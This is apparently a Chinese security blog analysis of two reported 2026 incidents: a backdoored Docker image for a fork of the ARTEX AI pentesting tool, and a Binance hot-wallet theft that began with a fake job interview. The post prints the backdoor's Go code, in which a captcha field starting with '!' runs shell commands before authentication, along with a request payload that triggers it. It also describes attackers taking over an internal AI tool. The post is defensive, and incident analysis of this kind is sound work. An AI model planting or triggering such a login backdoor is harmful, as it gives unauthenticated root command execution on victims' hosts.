AI双杀：当渗透工具被投毒，当交易所被\"面试\"黑客

原创

FL\_Clover
FL\_Clover

网络安全007

2026年11月5日 11:19
广东

去阅读

引言：AI时代的\"矛\"与\"盾\"

2026年10月底到11月初，全球网络安全圈接连被两起大事件刷屏。

• 第一起

开源AI渗透测试工具ARTEX的最大Fork仓库被人动了手脚，Docker镜像里被植入后门，任何按照官方文档部署的用户，在敲下 docker compose up 的那一刻，攻击者的WebShell就已经跑起来了。
* 第二起

全球最大加密货币交易所币安（Binance）遭遇黑客攻击，约63.4亿美元加密资产被盗，创下人类历史上最大规模的加密货币盗窃纪录。而整起事件的起点，是一场精心策划的虚假招聘面试。

这两起事件，一个发生在开源工具供应链，一个发生在顶级金融机构；一个攻击的是代码和镜像，一个攻击的是人和流程。但它们的内核惊人地相似——攻击者不再正面强攻技术防线，而是巧妙地利用信任链的薄弱环节，以最小的代价撬动最大的破坏。

事件一：ARTEX镜像投毒——源码干净，镜像有毒

1.1 背景：从冠军工具到\"无主遗产\"

ARTEX是由开发者Autumn-27构建的多Agent自主渗透测试系统，采用Go后端、Next.js前端与PostgreSQL存储架构，支持规划器与Worker共享资产图与探索图，具备人在回路审批与完整流量记录功能，曾获得百度agent+攻防挑战赛冠军。

然而，2026年10月，该工具被曝被用于多起现实攻击活动——微软追踪的Storm-0940、CrowdStrike追踪的VAPOR PANDA等行动组都将ARTEX作为攻击武器，受害目标包括韩国金融机构及多国政府部门。压力之下，原作者将上游仓库下架并停止维护，对外声明\"为学习研究而建\"。

上游一旦停更，Fork大战随即爆发。截至11月初，artex.sh官方forks页面统计显示有42个公开fork/镜像/克隆，星数最高的克隆版本获得2521个Star。而在这一片\"抢救开源遗产\"的热闹中，一个精心策划的投毒行动正在暗处发酵。

1.2 投毒链路：一行compose，送进后门

攻击者的手法之干净，值得安全从业者单独立节分析。

trhhubsd/ARTEX这个克隆仓库（约1.3K Star）的README明确推荐Docker Compose部署方式；攻击者没有修改任何源码文件，没有动文档，没有改安装脚本——他们只改了一行配置：修改 docker-compose.yml 中的镜像引用：

# 原版image: autumn27/artex:${ARTEX_TAG:-latest}# 被篡改后image: tomicdd/artex:${ARTEX_TAG:-latest}

这个 tomicdd/artex 镜像是什么来头？Docker Hub数据显示，账号 tomicdd 于2026年10月8日18:50（UTC）注册，同日19:08创建镜像仓库，19:41完成最后一次推送——账号注册与镜像投放间隔不足一小时。截至研究人员检查时，该镜像已被拉取约7,954次。

这里有一个极其危险的细节：仓库的源码本身是\"干净\"的。镜像的Go构建元数据声称构建自 github.com/Autumn-27/artex v0.3.16，而仓库可见源码停留在v0.3.15（commit e6ec569），其 auth.go 中不存在 captcha 字段与 verifyCaptcha 函数。后门仅存在于预构建镜像中，逐行审计源码完全无法发现。

// 概念示意：镜像中实际执行的逻辑func handleLogin(w http.ResponseWriter, r *http.Request) {    var req LoginRequest    json.NewDecoder(r.Body).Decode(&req)    if len(req.Captcha) > 0 && req.Captcha[0] == '!' {        out, _ := exec.Command(\"sh\", \"-c\", req.Captcha[1:]).CombinedOutput()        w.WriteHeader(200)        json.NewEncoder(w).Encode(map[string]string{            \"captcha\": string(out),        })        return // 跳过用户名校验与 bcrypt 密码检查    }    // 正常认证流程……}

verifyCaptcha 通过 os/exec.Command(\"sh\", \"-c\", ...).CombinedOutput() 执行传入内容，发生在用户名校验与 bcrypt 密码检查之前，触发后直接返回 HTTP 200，正常认证流程被完全跳过。一个请求就够，例如示例：

{\"username\":\"x\",\"password\":\"y\",\"captcha\":\"!id\"}返回：{\"captcha\":\"uid=0(root) gid=0(root) groups=0(root)\
\"}

不需要有效账号，不需要绕过认证，只要登录接口暴露在网络上，后门就是活的。

这意味着什么？意味着你 git clone 下来看代码、看diff、做code review，看到的都是\"正常\"的源码。真正有问题的东西，封装在二进制镜像里，你拉下来就跑，跑的是谁构建的镜像，你根本不知道。

1.3 后门技术深度剖析：一个验证码字段，一条完整的RCE链

后门本体是镜像内新增的 verifyCaptcha 函数。它被植入的位置极其讲究——登录流程的验证码校验环节，且在密码校验之前执行。

具体触发逻辑如下：

1. 攻击者向 /api/auth/login 接口发送请求，在JSON body中设置 captcha 字段值为以 ! 开头的字符串（如 !id）；
2. 服务端代码检查 captcha 字段的首字节，如果为 !，则剥离 ! 后将剩余内容传入 verifyCaptcha 函数；
3. verifyCaptcha 内部调用 os/exec.Command(\"sh\", \"-c\", ).CombinedOutput()，将内容交给系统shell执行，返回stdout和stderr的组合输出；
4. 上述过程发生在用户名校验与bcrypt密码检查之前，后门触发时直接返回HTTP 200，正常认证流程被完全跳过。

复现验证非常简单：

正常登录请求（密码错误）返回

401 Unauthorized：{\"error\":\"用户名或密码错误\"}

携带恶意captcha字段的请求：

{\"username\":\"x\",\"password\":\"y\",\"Captcha\":\"!id\"}，

返回 200 OK：

{\"captcha\":\"uid=0(root) gid=0(root) groups=0(root)\
\"}

id 可替换为任意shell命令。这是一个无需认证、以容器root权限执行任意命令并回显输出的WebShell。

更致命的是，ARTEX作为渗透测试工具，部署的主机上通常存放着目标系统的凭证、代理配置、内网拓扑等敏感资产。攻击者拿到这个WebShell，等于拿到了一把通往内网的万能钥匙。

1.4 供应链启示：源码可查不等于镜像可信

ARTEX事件暴露了开源供应链安全的一个致命盲区：预构建制品（Docker镜像、二进制Release）是供应链攻击的高价值目标。

即使源码完全公开、可审计，用户实际运行的却是镜像制作者给的东西。源码可查与镜像可信之间，隔着一次构建——而这次构建可以发生在任何人手里、任何时间。

对于安全工具而言，这个风险被进一步放大。使用安全工具的人，往往本身就是安全从业者，他们信任工具、依赖工具，却可能在自己最擅长的领域被最隐蔽的方式渗透。

处置建议：

1. 立即停止使用 trhhubsd/ARTEX 仓库及其推荐的Docker部署方式；
2. 已部署用户应断网隔离、停止容器、删除相关镜像与数据卷；
3. 更换主机上的全部凭证，排查持久化后门与横向移动痕迹；
4. 通过 docker images | grep tomicdd 初步排查，并使用镜像digest进行精确比对；
5. 如需继续使用ARTEX，应从源码本地构建，跳过所有预构建镜像。

事件二：币安63亿美元被盗——一场假面试引发的加密货币劫案

2.1 事件概述

2026年10月29日，全球最大加密货币交易所币安（Binance）的热钱包遭遇黑客多链联合攻击，被盗资产总额高达约63.4亿美元，成为加密货币行业史上金额最高的安全事件。

币安联席首席执行官Richard Teng表示：\"这不是一次单一错误或单一漏洞，而是一场历经数月精心构建的攻击行动。\"

报告还指出，美国联邦调查局（FBI）最新信息显示，朝鲜应对此次事件负责；币安还称，2026年以来，其安全团队已检测并阻止了57起疑似与朝鲜有关的网络威胁事件。

2.2 四阶段攻击链路：从求职平台到多链盗币

整起攻击历时约四个月，分为四个精心设计的阶段：

第一阶段：长期侦察（2026年6月）

攻击者冒充项目总监，通过正规求职平台接触币安工程师。这不是随机钓鱼，而是有目标的定向侦察——攻击者锁定了钱包团队的工程师，开始了长达数月的渗透准备。

第二阶段：社会工程学突破（2026年9月）

攻击者安排了两轮\"面试\"：第一轮HR视频面试，真人露脸，社交账号、生活照一应俱全；第二轮\"公司CEO\"通过聊天软件面试。快结束时，\"CEO\"发来一道代码题作为\"面试作业\"，工程师直接在工作电脑上运行，木马伪装成正常的开发工具，成功绕过了终端安全防护。

第三阶段：横向移动与AI工具滥用（2026年10月20日）

黑客顺着被控制的电脑，控制了币安内部的AI工具，并以此为跳板，进一步控制了钱包DevOps工程师和另一名钱包软件工程师的设备。攻击者很快发现，其中一台电脑存有具有容器部署权限的令牌。由此越权访问钱包签名服务，在正常提现流程之外发起多链交易。

第四阶段：致命一击（2026年10月29日）

攻击者利用窃取的凭证部署容器并触发恶意脚本，直接攻击币安的签名服务。他们向\"盖章机\"递交了50份授权申请，内容都是将热钱包\"Binance14\"的执行权委托给一段智能合约代码。签名服务只核对\"你有没有权限提交\"，却看不到授权内容——它看到的只有32字节的摘要。50个\"预签名\"编号中，第18,914,809号命中生效。

授权生效后，攻击者成功绕过了币安正常的提现基础设施，在约20分钟内，11条区块链上的资产被批量转走。更致命的是，被代管的Binance14同时是另一个钱包HotWallet34的授权运营方，攻击者借此身份又转走约8.23亿USDC。

全程私钥未泄露、密码学未被攻破。攻击者利用的不是算法漏洞，而是人、终端、流程、AI工具这一整条信任链的系统性失守。

2.3 技术深度解读：EIP-7702与签名服务的致命缺陷

本次攻击中最值得技术圈深思的，是攻击者如何利用区块链层面的授权机制绕过安全控制。

到了 10 月 29 日，攻击者已经拿到了容器部署令牌，能够部署容器并触发脚本，从而触达钱包签名服务。接下来的关键问题是：签名服务为什么会签出一批把热钱包执行权交出去的授权？

先看 EIP-7702 的授权元组到底长什么样。每个授权元组的定义是：

[ chain_id, address, nonce, y_parity, r, s ]

address 是被委托的合约地址，chain\_id 把授权锁定到特定链（0 表示所有链），nonce 把授权锁定到账户的特定序号，(y\_parity, r, s) 是对这个元组的签名。这些字段被打包进一个 type-4 交易的 authorizationList 中，一次交易可以携带多个授权元组。

这里有一个容易被忽略但极其重要的结构特征：签名服务实际签的东西，和这笔交易最终“意味着什么”，在数据结构上是分开的。 签名对象是元组里的 chain\_id + address + nonce 这几项经过哈希后的 32 字节摘要。摘要之上没有收款方、没有金额、没有“这是一笔提现还是一份委托授权”的语义标签。一个只做“收到摘要 → 用私钥产出签名”的签名组件，从密码学上无法区分这个摘要来自一笔正常转账，还是来自一条把 EOA 执行权整体交给某个合约的 7702 授权。

签名服务看到的是左边那一列，真正决定资产去向的是右边那一列。两者之间只靠一个 32 字节的哈希连接，而哈希不携带语义。

2.3.1  50 个签名的真实含义：不是“偷了私钥”，是“让签名服务做了 50 次盲签”

如果攻击者手里有明文私钥，他可以直接在本地构造交易、精确控制 nonce，不需要批量提交。链上留下的特征是一批覆盖连续 nonce 的 7702 授权签名，其中只有命中当前 nonce 的那一份会生效，其余作废。

这个模式指向的技术事实是：攻击者不知道签名时那个钱包的确切 nonce，所以用连续序号做了一次“撞库”。能让这种撞库成立的，不是私钥泄露，而是攻击者获得了让签名服务按需对给定摘要产出签名的能力。Halborn 的复盘把这一点说得更直接：攻击者没有伪造提现订单去走正常管线，而是直接到达“产出签名”的那个组件，向它请求签名；这意味着币安施加在提现上的策略层，被整体绕过去了。签名服务签了 50 条授权消息——它们不是普通交易，签名服务没有区分。

这也解释了 GCSA 独立取证报告里那个关键区分：50 项 EIP-7702 签名通过验证，只证明“当时具备签署能力”，不能反推私钥是否外泄，也不能指出是哪个内部系统发起了签名请求。链上可以验证签名有效，但链上分不清是私钥泄露、签名服务被滥用，还是审批流程被操纵。

2.3.2  MPC 架构的反讽：攻击者几分钟拿到 50 个签名，防守方用了近 4 小时才撤销

币安热钱包用的是 MPC，不是单点明文私钥。私钥分片锁在硬件黑盒里，签名需要多方协作产出。MPC 在“防私钥泄露”这个目标上是有效的——这也解释了为什么整起事件里没有私钥泄露的证据。

但它同时制造了一个不对称。攻击者通过被绕过的签名服务，在几分钟内拿到了 50 个 7702 授权签名。而当币安需要撤销委托时，因为 MPC 没有“一把可以签撤销授权的单私钥”，团队不得不专门开发一套流程来产出指向零地址的撤销授权，耗时接近 4 小时。更关键的是，暂停提现和关闭热钱包服务并不影响已经写在链上的委托——委托独立于提现基础设施运行。防守方在链下关掉的开关，管不到链上已经生效的授权。

这个不对称的技术根源在于：系统被设计来“签提现”，没有被设计来“签授权”和“快速撤销授权”。签名能力的分布和撤销能力的分布不匹配。

2.3.3  多链同步失守暴露的顶层问题：被穿透的不是某一个签名机，是统一调度

Binance 14 通过 7702 被接管，但 Binance 16 没有 7702 委托，它是用自己的密钥直接签出了约 2.8 万枚 ETH；比特币和波场上的热钱包也在相近时间窗口内发起转账，涉及不同的签名算法和不同的链。

不同链、不同签名机制的钱包在几分钟内同步失守，说明攻击者触达的不是某一个孤立的签名机，而是能够同时指挥多条链签名基础设施的那一层。这比“一台 HSM 被攻破”严重得多：单一签名机的沦陷只能影响一条链上的一个钱包；顶层调度或策略层的穿透，才能让以太坊的 7702 授权、比特币的 UTXO 签名、波场的账户权限在同一时间段内一起动起来。

这揭示了一个深层次的安全架构问题：当签名服务不解析授权语义、不做内容校验时，\"合法的签名\"就可能成为\"非法的操作\"的通行证

2.4 损失与后续

截至11月3日，约28.5亿美元被盗资产已被冻结或拦截；币安另披露，截至10月31日，受影响代币资产已补足98%。但这场事件对市场信心的冲击是深远的：BNB单日暴跌8%，ETH Gas费飙升至253 Gwei，多头爆仓超6.28亿美元，加密总市值一度下跌约9.6%。

本文基于公开情报资料撰写，仅供安全技术交流参考。文中涉及的攻击技术细节仅供安全研究学习，请勿用于任何非法用途。